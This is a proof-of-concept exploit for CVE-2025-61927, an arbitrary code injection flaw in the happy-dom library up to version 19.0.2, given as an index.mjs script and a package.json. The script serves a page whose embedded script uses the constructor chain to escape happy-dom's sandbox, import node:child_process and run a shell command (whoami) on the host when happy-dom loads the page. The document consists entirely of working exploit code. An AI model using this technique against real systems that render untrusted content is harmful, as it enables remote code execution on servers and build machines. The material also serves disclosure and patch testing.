happy-dom Arbitrary Code Injection <= 19.0.2 Proof of Concept (PoC)

index.mjs

import * as http from 'node:http';
const server = http.createServer((req, res) => {
  res.end(`<script>
    this.constructor.constructor("return import('node:child_process')")().then((cp) => {
      console.log(cp.execSync('whoami').toString().trim());
    });
  </script>`);
});
server.listen(8765);

// CVE-2025-61927 PoC //
import { Browser, BrowserErrorCaptureEnum } from 'happy-dom';
const browser = new Browser({ console });
const page = browser.newPage();
await page.goto('http://localhost:8765');
await page.waitUntilComplete();
await browser.close();
// end //

server.close();

package.json

{
  "name": "happy-dom-rce",
  "main": "index.js",
  "dependencies": {
    "happy-dom": "19.0.2"
  }
}